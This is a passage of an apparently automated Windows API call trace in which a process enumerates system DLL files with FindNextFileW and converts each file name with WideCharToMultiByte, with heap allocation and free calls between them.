cFileName="activeds.dll", cAlternateFileName="")) returned 1 [0028.448] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e8c8 [0028.448] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e950 [0028.448] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIVEDS.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.448] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.449] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIVEDS.DLL", cchWideChar=12, lpMultiByteStr=0x38c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTIVEDS.DLL", lpUsedDefaultChar=0x0) returned 12 [0028.449] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.449] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.449] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.449] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e950) returned 1 [0028.449] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e8c8) returned 1 [0028.449] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a81bf79, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a81bf79, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a8420d9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4ba00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="actxprxy.dll", cAlternateFileName="")) returned 1 [0028.449] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e8c8 [0028.449] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e950 [0028.449] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTXPRXY.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.449] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.449] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTXPRXY.DLL", cchWideChar=12, lpMultiByteStr=0x38c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACTXPRXY.DLL", lpUsedDefaultChar=0x0) returned 12 [0028.449] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.449] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.449] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.449] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e950) returned 1 [0028.449] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e8c8) returned 1 [0028.449] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa343f8c0, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xa343f8c0, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7d856840, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="admparse.dll", cAlternateFileName="")) returned 1 [0028.449] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e8c8 [0028.449] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e950 [0028.449] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMPARSE.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.449] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.449] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMPARSE.DLL", cchWideChar=12, lpMultiByteStr=0x38c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADMPARSE.DLL", lpUsedDefaultChar=0x0) returned 12 [0028.449] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.449] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.449] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.449] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e950) returned 1 [0028.449] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e8c8) returned 1 [0028.449] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1c6129e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1c6129e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1c873fe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6b000, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="AdmTmpl.dll", cAlternateFileName="")) returned 1 [0028.449] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e8c8 [0028.449] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e950 [0028.449] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMTMPL.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.449] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.449] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADMTMPL.DLL", cchWideChar=11, lpMultiByteStr=0x38c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADMTMPL.DLL", lpUsedDefaultChar=0x0) returned 11 [0028.449] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.449] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.450] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.450] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e950) returned 1 [0028.450] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e8c8) returned 1 [0028.450] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2f573ca, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe2f573ca, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dbea0b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc200, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="adprovider.dll", cAlternateFileName="")) returned 1 [0028.450] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e8c8 [0028.450] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e950 [0028.450] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADPROVIDER.DLL", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0028.450] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.450] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADPROVIDER.DLL", cchWideChar=14, lpMultiByteStr=0x38c288, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADPROVIDER.DLL", lpUsedDefaultChar=0x0) returned 14 [0028.450] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.450] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.450] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.450] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e950) returned 1 [0028.450] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e8c8) returned 1 [0028.450] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b68a4f3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b68a4f3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b68a4f3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2da00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="adsldp.dll", cAlternateFileName="")) returned 1 [0028.450] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e8c8 [0028.450] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e950 [0028.450] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDP.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0028.450] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.450] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDP.DLL", cchWideChar=10, lpMultiByteStr=0x38c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSLDP.DLL", lpUsedDefaultChar=0x0) returned 10 [0028.450] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.450] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.450] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.450] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e950) returned 1 [0028.450] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e8c8) returned 1 [0028.450] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9f1b122, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xf9f1b122, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dccd180, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x31800, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="adsldpc.dll", cAlternateFileName="")) returned 1 [0028.450] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e8c8 [0028.450] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e950 [0028.450] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDPC.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.450] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.450] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDPC.DLL", cchWideChar=11, lpMultiByteStr=0x38c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSLDPC.DLL", lpUsedDefaultChar=0x0) returned 11 [0028.450] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.450] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.450] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.450] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e950) returned 1 [0028.451] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e8c8) returned 1 [0028.451] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf66b897d, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xf66b897d, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dccd180, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12e00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="adsmsext.dll", cAlternateFileName="")) returned 1 [0028.451] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e8c8 [0028.451] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e950 [0028.451] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSMSEXT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.451] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.451] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSMSEXT.DLL", cchWideChar=12, lpMultiByteStr=0x38c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSMSEXT.DLL", lpUsedDefaultChar=0x0) returned 12 [0028.451] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.451] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.451] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.451] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e950) returned 1 [0028.451] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e8c8) returned 1 [0028.451] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfad634c2, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xfad634c2, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dcf4280, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3fa00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="adsnt.dll", cAlternateFileName="")) returned 1 [0028.451] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e8c8 [0028.451] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e950 [0028.451] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSNT.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0028.451] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.451] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSNT.DLL", cchWideChar=9, lpMultiByteStr=0x38c288, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSNT.DLL", lpUsedDefaultChar=0x0) returned 9 [0028.451] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.451] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.451] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.451] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e950) returned 1 [0028.451] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e8c8) returned 1 [0028.451] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fc81ff4, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2fc81ff4, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf1def050, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa6200, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="adtschema.dll", cAlternateFileName="")) returned 1 [0028.451] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e8c8 [0028.451] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e950 [0028.451] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADTSCHEMA.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0028.451] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.451] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADTSCHEMA.DLL", cchWideChar=13, lpMultiByteStr=0x38c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADTSCHEMA.DLL", lpUsedDefaultChar=0x0) returned 13 [0028.451] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.451] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.451] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.451] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e950) returned 1 [0028.451] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e8c8) returned 1 [0028.451] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b0c6f80, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9b0c6f80, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9b0ed0e0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9c600, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="advapi32.dll", cAlternateFileName="")) returned 1 [0028.452] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e8c8 [0028.452] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e950 [0028.452] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVAPI32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.452] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.452] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVAPI32.DLL", cchWideChar=12, lpMultiByteStr=0x38c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADVAPI32.DLL", lpUsedDefaultChar=0x0) returned 12 [0028.452] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.452] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.452] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.452] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e950) returned 1 [0028.452] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e8c8) returned 1 [0028.452] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0777c0d, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xa0777c0d, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7de49f40, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1ee00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="advpack.dll", cAlternateFileName="")) returned 1 [0028.452] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e8c8 [0028.452] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e950 [0028.452] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVPACK.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.452] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.452] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVPACK.DLL", cchWideChar=11, lpMultiByteStr=0x38c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADVPACK.DLL", lpUsedDefaultChar=0x0) returned 11 [0028.452] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.452] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.452] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.452] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e950) returned 1 [0028.452] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e8c8) returned 1 [0028.452] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e862c71, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x5e862c71, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x7de71040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="aecache.dll", cAlternateFileName="")) returned 1 [0028.452] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e8c8 [0028.452] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e950 [0028.452] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AECACHE.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.452] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.452] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AECACHE.DLL", cchWideChar=11, lpMultiByteStr=0x38c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AECACHE.DLL", lpUsedDefaultChar=0x0) returned 11 [0028.452] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.452] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.452] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.452] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e950) returned 1 [0028.452] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e8c8) returned 1 [0028.452] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c6f412, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x79c6f412, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xf1f20320, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="aeevts.dll", cAlternateFileName="")) returned 1 [0028.452] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e8c8 [0028.452] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x80) returned 0x38e950 [0028.453] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AEEVTS.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0028.453] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c120 [0028.453] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AEEVTS.DLL", cchWideChar=10, lpMultiByteStr=0x38c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AEEVTS.DLL", lpUsedDefaultChar=0x0) returned 10 [0028.453] RtlAllocateHeap (HeapHandle=0x380000, Flags=0x8, Size=0x40) returned 0x38c288 [0028.453] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c120) returned 1 [0028.453] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38c288) returned 1 [0028.453] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e950) returned 1 [0028.453] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38e8c8) returned 1 [0028.453] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, 